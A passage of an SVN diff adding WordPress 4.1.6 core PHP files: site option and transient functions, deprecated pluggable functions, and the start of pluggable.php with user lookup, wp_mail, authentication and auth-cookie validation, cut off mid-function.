+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 2.9.0 As 'pre_update_site_option_' . $key
+	 * @since 3.0.0
+	 *
+	 * @param mixed $value     New value of site option.
+	 * @param mixed $old_value Old value of site option.
+	 */
+	$value = apply_filters( 'pre_update_site_option_' . $option, $value, $old_value );
+
+	if ( $value === $old_value )
+		return false;
+
+	if ( false === $old_value )
+		return add_site_option( $option, $value );
+
+	$notoptions_key = "{$wpdb->siteid}:notoptions";
+	$notoptions = wp_cache_get( $notoptions_key, 'site-options' );
+	if ( is_array( $notoptions ) && isset( $notoptions[$option] ) ) {
+		unset( $notoptions[$option] );
+		wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
+	}
+
+	if ( !is_multisite() ) {
+		$result = update_option( $option, $value );
+	} else {
+		$value = sanitize_option( $option, $value );
+
+		$serialized_value = maybe_serialize( $value );
+		$result = $wpdb->update( $wpdb->sitemeta, array( 'meta_value' => $serialized_value ), array( 'site_id' => $wpdb->siteid, 'meta_key' => $option ) );
+
+		if ( $result ) {
+			$cache_key = "{$wpdb->siteid}:$option";
+			wp_cache_set( $cache_key, $value, 'site-options' );
+		}
+	}
+
+	if ( $result ) {
+
+		/**
+		 * Fires after the value of a specific site option has been successfully updated.
+		 *
+		 * The dynamic portion of the hook name, `$option`, refers to the option name.
+		 *
+		 * @since 2.9.0 As "update_site_option_{$key}"
+		 * @since 3.0.0
+		 *
+		 * @param string $option    Name of site option.
+		 * @param mixed  $value     Current value of site option.
+		 * @param mixed  $old_value Old value of site option.
+		 */
+		do_action( "update_site_option_{$option}", $option, $value, $old_value );
+
+		/**
+		 * Fires after the value of a site option has been successfully updated.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $option    Name of site option.
+		 * @param mixed  $value     Current value of site option.
+		 * @param mixed  $old_value Old value of site option.
+		 */
+		do_action( "update_site_option", $option, $value, $old_value );
+
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Delete a site transient.
+ *
+ * @since 2.9.0
+ *
+ * @param string $transient Transient name. Expected to not be SQL-escaped.
+ * @return bool True if successful, false otherwise
+ */
+function delete_site_transient( $transient ) {
+
+	/**
+	 * Fires immediately before a specific site transient is deleted.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $transient Transient name.
+	 */
+	do_action( 'delete_site_transient_' . $transient, $transient );
+
+	if ( wp_using_ext_object_cache() ) {
+		$result = wp_cache_delete( $transient, 'site-transient' );
+	} else {
+		$option_timeout = '_site_transient_timeout_' . $transient;
+		$option = '_site_transient_' . $transient;
+		$result = delete_site_option( $option );
+		if ( $result )
+			delete_site_option( $option_timeout );
+	}
+	if ( $result ) {
+
+		/**
+		 * Fires after a transient is deleted.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $transient Deleted transient name.
+		 */
+		do_action( 'deleted_site_transient', $transient );
+	}
+
+	return $result;
+}
+
+/**
+ * Get the value of a site transient.
+ *
+ * If the transient does not exist, does not have a value, or has expired,
+ * then the return value will be false.
+ *
+ * @since 2.9.0
+ *
+ * @see get_transient()
+ *
+ * @param string $transient Transient name. Expected to not be SQL-escaped.
+ * @return mixed Value of transient.
+ */
+function get_site_transient( $transient ) {
+
+	/**
+	 * Filter the value of an existing site transient.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * Passing a truthy value to the filter will effectively short-circuit retrieval,
+	 * returning the passed value instead.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param mixed $pre_site_transient The default value to return if the site transient does not exist.
+	 *                                  Any value other than false will short-circuit the retrieval
+	 *                                  of the transient, and return the returned value.
+	 */
+	$pre = apply_filters( 'pre_site_transient_' . $transient, false );
+
+	if ( false !== $pre )
+		return $pre;
+
+	if ( wp_using_ext_object_cache() ) {
+		$value = wp_cache_get( $transient, 'site-transient' );
+	} else {
+		// Core transients that do not have a timeout. Listed here so querying timeouts can be avoided.
+		$no_timeout = array('update_core', 'update_plugins', 'update_themes');
+		$transient_option = '_site_transient_' . $transient;
+		if ( ! in_array( $transient, $no_timeout ) ) {
+			$transient_timeout = '_site_transient_timeout_' . $transient;
+			$timeout = get_site_option( $transient_timeout );
+			if ( false !== $timeout && $timeout < time() ) {
+				delete_site_option( $transient_option  );
+				delete_site_option( $transient_timeout );
+				$value = false;
+			}
+		}
+
+		if ( ! isset( $value ) )
+			$value = get_site_option( $transient_option );
+	}
+
+	/**
+	 * Filter the value of an existing site transient.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param mixed $value Value of site transient.
+	 */
+	return apply_filters( 'site_transient_' . $transient, $value );
+}
+
+/**
+ * Set/update the value of a site transient.
+ *
+ * You do not need to serialize values, if the value needs to be serialize, then
+ * it will be serialized before it is set.
+ *
+ * @since 2.9.0
+ *
+ * @see set_transient()
+ *
+ * @param string $transient  Transient name. Expected to not be SQL-escaped. Must be
+ *                           40 characters or fewer in length.
+ * @param mixed  $value      Transient value. Expected to not be SQL-escaped.
+ * @param int    $expiration Optional. Time until expiration in seconds. Default 0.
+ * @return bool False if value was not set and true if value was set.
+ */
+function set_site_transient( $transient, $value, $expiration = 0 ) {
+
+	/**
+	 * Filter the value of a specific site transient before it is set.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param mixed $value Value of site transient.
+	 */
+	$value = apply_filters( 'pre_set_site_transient_' . $transient, $value );
+
+	$expiration = (int) $expiration;
+
+	if ( wp_using_ext_object_cache() ) {
+		$result = wp_cache_set( $transient, $value, 'site-transient', $expiration );
+	} else {
+		$transient_timeout = '_site_transient_timeout_' . $transient;
+		$option = '_site_transient_' . $transient;
+		if ( false === get_site_option( $option ) ) {
+			if ( $expiration )
+				add_site_option( $transient_timeout, time() + $expiration );
+			$result = add_site_option( $option, $value );
+		} else {
+			if ( $expiration )
+				update_site_option( $transient_timeout, time() + $expiration );
+			$result = update_site_option( $option, $value );
+		}
+	}
+	if ( $result ) {
+
+		/**
+		 * Fires after the value for a specific site transient has been set.
+		 *
+		 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param mixed $value      Site transient value.
+		 * @param int   $expiration Time until expiration in seconds. Default 0.
+		 */
+		do_action( 'set_site_transient_' . $transient, $value, $expiration );
+
+		/**
+		 * Fires after the value for a site transient has been set.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $transient  The name of the site transient.
+		 * @param mixed  $value      Site transient value.
+		 * @param int    $expiration Time until expiration in seconds. Default 0.
+		 */
+		do_action( 'setted_site_transient', $transient, $value, $expiration );
+	}
+	return $result;
+}
Index: /tags/4.1.6/src/wp-includes/pluggable-deprecated.php
===================================================================
--- /tags/4.1.6/src/wp-includes/pluggable-deprecated.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/pluggable-deprecated.php	(revision 33402)
@@ -0,0 +1,192 @@
+<?php
+/**
+ * Deprecated pluggable functions from past WordPress versions. You shouldn't use these
+ * functions and look for the alternatives instead. The functions will be removed in a
+ * later version.
+ *
+ * Deprecated warnings are also thrown if one of these functions is being defined by a plugin.
+ *
+ * @package WordPress
+ * @subpackage Deprecated
+ * @see pluggable.php
+ */
+
+/*
+ * Deprecated functions come here to die.
+ */
+
+if ( !function_exists('set_current_user') ) :
+/**
+ * Changes the current user by ID or name.
+ *
+ * Set $id to null and specify a name if you do not know a user's ID.
+ *
+ * @since 2.0.1
+ * @see wp_set_current_user() An alias of wp_set_current_user()
+ * @deprecated 3.0.0
+ * @deprecated Use wp_set_current_user()
+ *
+ * @param int|null $id User ID.
+ * @param string $name Optional. The user's username
+ * @return WP_User returns wp_set_current_user()
+ */
+function set_current_user($id, $name = '') {
+	_deprecated_function( __FUNCTION__, '3.0', 'wp_set_current_user()' );
+	return wp_set_current_user($id, $name);
+}
+endif;
+
+if ( !function_exists('get_userdatabylogin') ) :
+/**
+ * Retrieve user info by login name.
+ *
+ * @since 0.71
+ * @deprecated 3.3.0
+ * @deprecated Use get_user_by('login')
+ *
+ * @param string $user_login User's username
+ * @return bool|object False on failure, User DB row object
+ */
+function get_userdatabylogin($user_login) {
+	_deprecated_function( __FUNCTION__, '3.3', "get_user_by('login')" );
+	return get_user_by('login', $user_login);
+}
+endif;
+
+if ( !function_exists('get_user_by_email') ) :
+/**
+ * Retrieve user info by email.
+ *
+ * @since 2.5.0
+ * @deprecated 3.3.0
+ * @deprecated Use get_user_by('email')
+ *
+ * @param string $email User's email address
+ * @return bool|object False on failure, User DB row object
+ */
+function get_user_by_email($email) {
+	_deprecated_function( __FUNCTION__, '3.3', "get_user_by('email')" );
+	return get_user_by('email', $email);
+}
+endif;
+
+if ( !function_exists('wp_setcookie') ) :
+/**
+ * Sets a cookie for a user who just logged in. This function is deprecated.
+ *
+ * @since 1.5.0
+ * @deprecated 2.5.0
+ * @deprecated Use wp_set_auth_cookie()
+ * @see wp_set_auth_cookie()
+ *
+ * @param string $username The user's username
+ * @param string $password Optional. The user's password
+ * @param bool $already_md5 Optional. Whether the password has already been through MD5
+ * @param string $home Optional. Will be used instead of COOKIEPATH if set
+ * @param string $siteurl Optional. Will be used instead of SITECOOKIEPATH if set
+ * @param bool $remember Optional. Remember that the user is logged in
+ */
+function wp_setcookie($username, $password = '', $already_md5 = false, $home = '', $siteurl = '', $remember = false) {
+	_deprecated_function( __FUNCTION__, '2.5', 'wp_set_auth_cookie()' );
+	$user = get_user_by('login', $username);
+	wp_set_auth_cookie($user->ID, $remember);
+}
+else :
+	_deprecated_function( 'wp_setcookie', '2.5', 'wp_set_auth_cookie()' );
+endif;
+
+if ( !function_exists('wp_clearcookie') ) :
+/**
+ * Clears the authentication cookie, logging the user out. This function is deprecated.
+ *
+ * @since 1.5.0
+ * @deprecated 2.5.0
+ * @deprecated Use wp_clear_auth_cookie()
+ * @see wp_clear_auth_cookie()
+ */
+function wp_clearcookie() {
+	_deprecated_function( __FUNCTION__, '2.5', 'wp_clear_auth_cookie()' );
+	wp_clear_auth_cookie();
+}
+else :
+	_deprecated_function( 'wp_clearcookie', '2.5', 'wp_clear_auth_cookie()' );
+endif;
+
+if ( !function_exists('wp_get_cookie_login') ):
+/**
+ * Gets the user cookie login. This function is deprecated.
+ *
+ * This function is deprecated and should no longer be extended as it won't be
+ * used anywhere in WordPress. Also, plugins shouldn't use it either.
+ *
+ * @since 2.0.3
+ * @deprecated 2.5.0
+ * @deprecated No alternative
+ *
+ * @return bool Always returns false
+ */
+function wp_get_cookie_login() {
+	_deprecated_function( __FUNCTION__, '2.5' );
+	return false;
+}
+else :
+	_deprecated_function( 'wp_get_cookie_login', '2.5' );
+endif;
+
+if ( !function_exists('wp_login') ) :
+/**
+ * Checks a users login information and logs them in if it checks out. This function is deprecated.
+ *
+ * Use the global $error to get the reason why the login failed. If the username
+ * is blank, no error will be set, so assume blank username on that case.
+ *
+ * Plugins extending this function should also provide the global $error and set
+ * what the error is, so that those checking the global for why there was a
+ * failure can utilize it later.
+ *
+ * @since 1.2.2
+ * @deprecated Use wp_signon()
+ * @global string $error Error when false is returned
+ *
+ * @param string $username   User's username
+ * @param string $password   User's password
+ * @param string $deprecated Not used
+ * @return bool False on login failure, true on successful check
+ */
+function wp_login($username, $password, $deprecated = '') {
+	_deprecated_function( __FUNCTION__, '2.5', 'wp_signon()' );
+	global $error;
+
+	$user = wp_authenticate($username, $password);
+
+	if ( ! is_wp_error($user) )
+		return true;
+
+	$error = $user->get_error_message();
+	return false;
+}
+else :
+	_deprecated_function( 'wp_login', '2.5', 'wp_signon()' );
+endif;
+
+/**
+ * WordPress AtomPub API implementation.
+ *
+ * Originally stored in wp-app.php, and later wp-includes/class-wp-atom-server.php.
+ * It is kept here in case a plugin directly referred to the class.
+ *
+ * @since 2.2.0
+ * @deprecated 3.5.0
+ * @link https://wordpress.org/plugins/atom-publishing-protocol/
+ */
+if ( ! class_exists( 'wp_atom_server' ) ) {
+	class wp_atom_server {
+		public function __call( $name, $arguments ) {
+			_deprecated_function( __CLASS__ . '::' . $name, '3.5', 'the Atom Publishing Protocol plugin' );
+		}
+
+		public static function __callStatic( $name, $arguments ) {
+			_deprecated_function( __CLASS__ . '::' . $name, '3.5', 'the Atom Publishing Protocol plugin' );
+		}
+	}
+}
Index: /tags/4.1.6/src/wp-includes/pluggable.php
===================================================================
--- /tags/4.1.6/src/wp-includes/pluggable.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/pluggable.php	(revision 33402)
@@ -0,0 +1,2279 @@
+<?php
+/**
+ * These functions can be replaced via plugins. If plugins do not redefine these
+ * functions, then these will be used instead.
+ *
+ * @package WordPress
+ */
+
+if ( !function_exists('wp_set_current_user') ) :
+/**
+ * Changes the current user by ID or name.
+ *
+ * Set $id to null and specify a name if you do not know a user's ID.
+ *
+ * Some WordPress functionality is based on the current user and not based on
+ * the signed in user. Therefore, it opens the ability to edit and perform
+ * actions on users who aren't signed in.
+ *
+ * @since 2.0.3
+ * @global object $current_user The current user object which holds the user data.
+ *
+ * @param int $id User ID
+ * @param string $name User's username
+ * @return WP_User Current user User object
+ */
+function wp_set_current_user($id, $name = '') {
+	global $current_user;
+
+	if ( isset( $current_user ) && ( $current_user instanceof WP_User ) && ( $id == $current_user->ID ) )
+		return $current_user;
+
+	$current_user = new WP_User( $id, $name );
+
+	setup_userdata( $current_user->ID );
+
+	/**
+	 * Fires after the current user is set.
+	 *
+	 * @since 2.0.1
+	 */
+	do_action( 'set_current_user' );
+
+	return $current_user;
+}
+endif;
+
+if ( !function_exists('wp_get_current_user') ) :
+/**
+ * Retrieve the current user object.
+ *
+ * @since 2.0.3
+ *
+ * @return WP_User Current user WP_User object
+ */
+function wp_get_current_user() {
+	global $current_user;
+
+	get_currentuserinfo();
+
+	return $current_user;
+}
+endif;
+
+if ( !function_exists('get_currentuserinfo') ) :
+/**
+ * Populate global variables with information about the currently logged in user.
+ *
+ * Will set the current user, if the current user is not set. The current user
+ * will be set to the logged-in person. If no user is logged-in, then it will
+ * set the current user to 0, which is invalid and won't have any permissions.
+ *
+ * @since 0.71
+ *
+ * @uses $current_user Checks if the current user is set
+ *
+ * @return null|false False on XML-RPC Request and invalid auth cookie. Null when current user set.
+ */
+function get_currentuserinfo() {
+	global $current_user;
+
+	if ( ! empty( $current_user ) ) {
+		if ( $current_user instanceof WP_User )
+			return;
+
+		// Upgrade stdClass to WP_User
+		if ( is_object( $current_user ) && isset( $current_user->ID ) ) {
+			$cur_id = $current_user->ID;
+			$current_user = null;
+			wp_set_current_user( $cur_id );
+			return;
+		}
+
+		// $current_user has a junk value. Force to WP_User with ID 0.
+		$current_user = null;
+		wp_set_current_user( 0 );
+		return false;
+	}
+
+	if ( defined('XMLRPC_REQUEST') && XMLRPC_REQUEST ) {
+		wp_set_current_user( 0 );
+		return false;
+	}
+
+	/**
+	 * Filter the current user.
+	 *
+	 * The default filters use this to determine the current user from the
+	 * request's cookies, if available.
+	 *
+	 * Returning a value of false will effectively short-circuit setting
+	 * the current user.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param int|bool $user_id User ID if one has been determined, false otherwise.
+	 */
+	$user_id = apply_filters( 'determine_current_user', false );
+	if ( ! $user_id ) {
+		wp_set_current_user( 0 );
+		return false;
+	}
+
+	wp_set_current_user( $user_id );
+}
+endif;
+
+if ( !function_exists('get_userdata') ) :
+/**
+ * Retrieve user info by user ID.
+ *
+ * @since 0.71
+ *
+ * @param int $user_id User ID
+ * @return WP_User|bool WP_User object on success, false on failure.
+ */
+function get_userdata( $user_id ) {
+	return get_user_by( 'id', $user_id );
+}
+endif;
+
+if ( !function_exists('get_user_by') ) :
+/**
+ * Retrieve user info by a given field
+ *
+ * @since 2.8.0
+ *
+ * @param string $field The field to retrieve the user with. id | slug | email | login
+ * @param int|string $value A value for $field. A user ID, slug, email address, or login name.
+ * @return WP_User|bool WP_User object on success, false on failure.
+ */
+function get_user_by( $field, $value ) {
+	$userdata = WP_User::get_data_by( $field, $value );
+
+	if ( !$userdata )
+		return false;
+
+	$user = new WP_User;
+	$user->init( $userdata );
+
+	return $user;
+}
+endif;
+
+if ( !function_exists('cache_users') ) :
+/**
+ * Retrieve info for user lists to prevent multiple queries by get_userdata()
+ *
+ * @since 3.0.0
+ *
+ * @param array $user_ids User ID numbers list
+ */
+function cache_users( $user_ids ) {
+	global $wpdb;
+
+	$clean = _get_non_cached_ids( $user_ids, 'users' );
+
+	if ( empty( $clean ) )
+		return;
+
+	$list = implode( ',', $clean );
+
+	$users = $wpdb->get_results( "SELECT * FROM $wpdb->users WHERE ID IN ($list)" );
+
+	$ids = array();
+	foreach ( $users as $user ) {
+		update_user_caches( $user );
+		$ids[] = $user->ID;
+	}
+	update_meta_cache( 'user', $ids );
+}
+endif;
+
+if ( !function_exists( 'wp_mail' ) ) :
+/**
+ * Send mail, similar to PHP's mail
+ *
+ * A true return value does not automatically mean that the user received the
+ * email successfully. It just only means that the method used was able to
+ * process the request without any errors.
+ *
+ * Using the two 'wp_mail_from' and 'wp_mail_from_name' hooks allow from
+ * creating a from address like 'Name <email@address.com>' when both are set. If
+ * just 'wp_mail_from' is set, then just the email address will be used with no
+ * name.
+ *
+ * The default content type is 'text/plain' which does not allow using HTML.
+ * However, you can set the content type of the email by using the
+ * 'wp_mail_content_type' filter.
+ *
+ * The default charset is based on the charset used on the blog. The charset can
+ * be set using the 'wp_mail_charset' filter.
+ *
+ * @since 1.2.1
+ *
+ * @uses PHPMailer
+ *
+ * @param string|array $to Array or comma-separated list of email addresses to send message.
+ * @param string $subject Email subject
+ * @param string $message Message contents
+ * @param string|array $headers Optional. Additional headers.
+ * @param string|array $attachments Optional. Files to attach.
+ * @return bool Whether the email contents were sent successfully.
+ */
+function wp_mail( $to, $subject, $message, $headers = '', $attachments = array() ) {
+	// Compact the input, apply the filters, and extract them back out
+
+	/**
+	 * Filter the wp_mail() arguments.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args A compacted array of wp_mail() arguments, including the "to" email,
+	 *                    subject, message, headers, and attachments values.
+	 */
+	$atts = apply_filters( 'wp_mail', compact( 'to', 'subject', 'message', 'headers', 'attachments' ) );
+
+	if ( isset( $atts['to'] ) ) {
+		$to = $atts['to'];
+	}
+
+	if ( isset( $atts['subject'] ) ) {
+		$subject = $atts['subject'];
+	}
+
+	if ( isset( $atts['message'] ) ) {
+		$message = $atts['message'];
+	}
+
+	if ( isset( $atts['headers'] ) ) {
+		$headers = $atts['headers'];
+	}
+
+	if ( isset( $atts['attachments'] ) ) {
+		$attachments = $atts['attachments'];
+	}
+
+	if ( ! is_array( $attachments ) ) {
+		$attachments = explode( "\n", str_replace( "\r\n", "\n", $attachments ) );
+	}
+	global $phpmailer;
+
+	// (Re)create it, if it's gone missing
+	if ( !is_object( $phpmailer ) || !is_a( $phpmailer, 'PHPMailer' ) ) {
+		require_once ABSPATH . WPINC . '/class-phpmailer.php';
+		require_once ABSPATH . WPINC . '/class-smtp.php';
+		$phpmailer = new PHPMailer( true );
+	}
+
+	// Headers
+	if ( empty( $headers ) ) {
+		$headers = array();
+	} else {
+		if ( !is_array( $headers ) ) {
+			// Explode the headers out, so this function can take both
+			// string headers and an array of headers.
+			$tempheaders = explode( "\n", str_replace( "\r\n", "\n", $headers ) );
+		} else {
+			$tempheaders = $headers;
+		}
+		$headers = array();
+		$cc = array();
+		$bcc = array();
+
+		// If it's actually got contents
+		if ( !empty( $tempheaders ) ) {
+			// Iterate through the raw headers
+			foreach ( (array) $tempheaders as $header ) {
+				if ( strpos($header, ':') === false ) {
+					if ( false !== stripos( $header, 'boundary=' ) ) {
+						$parts = preg_split('/boundary=/i', trim( $header ) );
+						$boundary = trim( str_replace( array( "'", '"' ), '', $parts[1] ) );
+					}
+					continue;
+				}
+				// Explode them out
+				list( $name, $content ) = explode( ':', trim( $header ), 2 );
+
+				// Cleanup crew
+				$name    = trim( $name    );
+				$content = trim( $content );
+
+				switch ( strtolower( $name ) ) {
+					// Mainly for legacy -- process a From: header if it's there
+					case 'from':
+						if ( strpos($content, '<' ) !== false ) {
+							// So... making my life hard again?
+							$from_name = substr( $content, 0, strpos( $content, '<' ) - 1 );
+							$from_name = str_replace( '"', '', $from_name );
+							$from_name = trim( $from_name );
+
+							$from_email = substr( $content, strpos( $content, '<' ) + 1 );
+							$from_email = str_replace( '>', '', $from_email );
+							$from_email = trim( $from_email );
+						} else {
+							$from_email = trim( $content );
+						}
+						break;
+					case 'content-type':
+						if ( strpos( $content, ';' ) !== false ) {
+							list( $type, $charset ) = explode( ';', $content );
+							$content_type = trim( $type );
+							if ( false !== stripos( $charset, 'charset=' ) ) {
+								$charset = trim( str_replace( array( 'charset=', '"' ), '', $charset ) );
+							} elseif ( false !== stripos( $charset, 'boundary=' ) ) {
+								$boundary = trim( str_replace( array( 'BOUNDARY=', 'boundary=', '"' ), '', $charset ) );
+								$charset = '';
+							}
+						} else {
+							$content_type = trim( $content );
+						}
+						break;
+					case 'cc':
+						$cc = array_merge( (array) $cc, explode( ',', $content ) );
+						break;
+					case 'bcc':
+						$bcc = array_merge( (array) $bcc, explode( ',', $content ) );
+						break;
+					default:
+						// Add it to our grand headers array
+						$headers[trim( $name )] = trim( $content );
+						break;
+				}
+			}
+		}
+	}
+
+	// Empty out the values that may be set
+	$phpmailer->ClearAllRecipients();
+	$phpmailer->ClearAttachments();
+	$phpmailer->ClearCustomHeaders();
+	$phpmailer->ClearReplyTos();
+
+	// From email and name
+	// If we don't have a name from the input headers
+	if ( !isset( $from_name ) )
+		$from_name = 'WordPress';
+
+	/* If we don't have an email from the input headers default to wordpress@$sitename
+	 * Some hosts will block outgoing mail from this address if it doesn't exist but
+	 * there's no easy alternative. Defaulting to admin_email might appear to be another
+	 * option but some hosts may refuse to relay mail from an unknown domain. See
+	 * https://core.trac.wordpress.org/ticket/5007.
+	 */
+
+	if ( !isset( $from_email ) ) {
+		// Get the site domain and get rid of www.
+		$sitename = strtolower( $_SERVER['SERVER_NAME'] );
+		if ( substr( $sitename, 0, 4 ) == 'www.' ) {
+			$sitename = substr( $sitename, 4 );
+		}
+
+		$from_email = 'wordpress@' . $sitename;
+	}
+
+	/**
+	 * Filter the email address to send from.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $from_email Email address to send from.
+	 */
+	$phpmailer->From = apply_filters( 'wp_mail_from', $from_email );
+
+	/**
+	 * Filter the name to associate with the "from" email address.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $from_name Name associated with the "from" email address.
+	 */
+	$phpmailer->FromName = apply_filters( 'wp_mail_from_name', $from_name );
+
+	// Set destination addresses
+	if ( !is_array( $to ) )
+		$to = explode( ',', $to );
+
+	foreach ( (array) $to as $recipient ) {
+		try {
+			// Break $recipient into name and address parts if in the format "Foo <bar@baz.com>"
+			$recipient_name = '';
+			if( preg_match( '/(.*)<(.+)>/', $recipient, $matches ) ) {
+				if ( count( $matches ) == 3 ) {
+					$recipient_name = $matches[1];
+					$recipient = $matches[2];
+				}
+			}
+			$phpmailer->AddAddress( $recipient, $recipient_name);
+		} catch ( phpmailerException $e ) {
+			continue;
+		}
+	}
+
+	// Set mail's subject and body
+	$phpmailer->Subject = $subject;
+	$phpmailer->Body    = $message;
+
+	// Add any CC and BCC recipients
+	if ( !empty( $cc ) ) {
+		foreach ( (array) $cc as $recipient ) {
+			try {
+				// Break $recipient into name and address parts if in the format "Foo <bar@baz.com>"
+				$recipient_name = '';
+				if( preg_match( '/(.*)<(.+)>/', $recipient, $matches ) ) {
+					if ( count( $matches ) == 3 ) {
+						$recipient_name = $matches[1];
+						$recipient = $matches[2];
+					}
+				}
+				$phpmailer->AddCc( $recipient, $recipient_name );
+			} catch ( phpmailerException $e ) {
+				continue;
+			}
+		}
+	}
+
+	if ( !empty( $bcc ) ) {
+		foreach ( (array) $bcc as $recipient) {
+			try {
+				// Break $recipient into name and address parts if in the format "Foo <bar@baz.com>"
+				$recipient_name = '';
+				if( preg_match( '/(.*)<(.+)>/', $recipient, $matches ) ) {
+					if ( count( $matches ) == 3 ) {
+						$recipient_name = $matches[1];
+						$recipient = $matches[2];
+					}
+				}
+				$phpmailer->AddBcc( $recipient, $recipient_name );
+			} catch ( phpmailerException $e ) {
+				continue;
+			}
+		}
+	}
+
+	// Set to use PHP's mail()
+	$phpmailer->IsMail();
+
+	// Set Content-Type and charset
+	// If we don't have a content-type from the input headers
+	if ( !isset( $content_type ) )
+		$content_type = 'text/plain';
+
+	/**
+	 * Filter the wp_mail() content type.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $content_type Default wp_mail() content type.
+	 */
+	$content_type = apply_filters( 'wp_mail_content_type', $content_type );
+
+	$phpmailer->ContentType = $content_type;
+
+	// Set whether it's plaintext, depending on $content_type
+	if ( 'text/html' == $content_type )
+		$phpmailer->IsHTML( true );
+
+	// If we don't have a charset from the input headers
+	if ( !isset( $charset ) )
+		$charset = get_bloginfo( 'charset' );
+
+	// Set the content-type and charset
+
+	/**
+	 * Filter the default wp_mail() charset.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $charset Default email charset.
+	 */
+	$phpmailer->CharSet = apply_filters( 'wp_mail_charset', $charset );
+
+	// Set custom headers
+	if ( !empty( $headers ) ) {
+		foreach( (array) $headers as $name => $content ) {
+			$phpmailer->AddCustomHeader( sprintf( '%1$s: %2$s', $name, $content ) );
+		}
+
+		if ( false !== stripos( $content_type, 'multipart' ) && ! empty($boundary) )
+			$phpmailer->AddCustomHeader( sprintf( "Content-Type: %s;\n\t boundary=\"%s\"", $content_type, $boundary ) );
+	}
+
+	if ( !empty( $attachments ) ) {
+		foreach ( $attachments as $attachment ) {
+			try {
+				$phpmailer->AddAttachment($attachment);
+			} catch ( phpmailerException $e ) {
+				continue;
+			}
+		}
+	}
+
+	/**
+	 * Fires after PHPMailer is initialized.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param PHPMailer &$phpmailer The PHPMailer instance, passed by reference.
+	 */
+	do_action_ref_array( 'phpmailer_init', array( &$phpmailer ) );
+
+	// Send!
+	try {
+		return $phpmailer->Send();
+	} catch ( phpmailerException $e ) {
+		return false;
+	}
+}
+endif;
+
+if ( !function_exists('wp_authenticate') ) :
+/**
+ * Checks a user's login information and logs them in if it checks out.
+ *
+ * @since 2.5.0
+ *
+ * @param string $username User's username
+ * @param string $password User's password
+ * @return WP_User|WP_Error WP_User object if login successful, otherwise WP_Error object.
+ */
+function wp_authenticate($username, $password) {
+	$username = sanitize_user($username);
+	$password = trim($password);
+
+	/**
+	 * Filter the user to authenticate.
+	 *
+	 * If a non-null value is passed, the filter will effectively short-circuit
+	 * authentication, returning an error instead.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param null|WP_User $user     User to authenticate.
+	 * @param string       $username User login.
+	 * @param string       $password User password
+	 */
+	$user = apply_filters( 'authenticate', null, $username, $password );
+
+	if ( $user == null ) {
+		// TODO what should the error message be? (Or would these even happen?)
+		// Only needed if all authentication handlers fail to return anything.
+		$user = new WP_Error('authentication_failed', __('<strong>ERROR</strong>: Invalid username or incorrect password.'));
+	}
+
+	$ignore_codes = array('empty_username', 'empty_password');
+
+	if (is_wp_error($user) && !in_array($user->get_error_code(), $ignore_codes) ) {
+		/**
+		 * Fires after a user login has failed.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param string $username User login.
+		 */
+		do_action( 'wp_login_failed', $username );
+	}
+
+	return $user;
+}
+endif;
+
+if ( !function_exists('wp_logout') ) :
+/**
+ * Log the current user out.
+ *
+ * @since 2.5.0
+ */
+function wp_logout() {
+	wp_destroy_current_session();
+	wp_clear_auth_cookie();
+
+	/**
+	 * Fires after a user is logged-out.
+	 *
+	 * @since 1.5.0
+	 */
+	do_action( 'wp_logout' );
+}
+endif;
+
+if ( !function_exists('wp_validate_auth_cookie') ) :
+/**
+ * Validates authentication cookie.
+ *
+ * The checks include making sure that the authentication cookie is set and
+ * pulling in the contents (if $cookie is not used).
+ *
+ * Makes sure the cookie is not expired. Verifies the hash in cookie is what is
+ * should be and compares the two.
+ *
+ * @since 2.5.0
+ *
+ * @param string $cookie Optional. If used, will validate contents instead of cookie's
+ * @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in
+ * @return bool|int False if invalid cookie, User ID if valid.
+ */
+function wp_validate_auth_cookie($cookie = '', $scheme = '') {
+	if ( ! $cookie_elements = wp_parse_auth_cookie($cookie, $scheme) ) {
+		/**
+		 * Fires if an authentication cookie is malformed.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param string $cookie Malformed auth cookie.
+		 * @param string $scheme Authentication scheme. Values include 'auth', 'secure_auth',
+		 *                       or 'logged_in'.
+		 */
+		do_action( 'auth_cookie_malformed', $cookie, $scheme );
+		return false;
+	}
+
+	$scheme = $cookie_elements['scheme'];
+	$username = $cookie_elements['username'];
+	$hmac = $cookie_elements['hmac'];
+	$token = $cookie_elements['token'];
+	$expired = $expiration = $cookie_elements['expiration'];
+
+	// Allow a grace period for POST and AJAX requests
+	if ( defined('DOING_AJAX') || 'POST' == $_SERVER['REQUEST_METHOD'] ) {
+		$expired += HOUR_IN_SECONDS;
+	}
+
+	// Quick check to see if an honest cookie has expired
+	if ( $expired < time() ) {
+		/**
+		 * Fires once an authentication cookie has expired.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array $cookie_elements An array of data for the authentication cookie.
+		 */
+		do_action( 'auth_cookie_expired', $cookie_elements );
+		return false;
+	}
+
+	$user = get_user_by('login', $username);
+	if ( ! $user ) {
+		/**
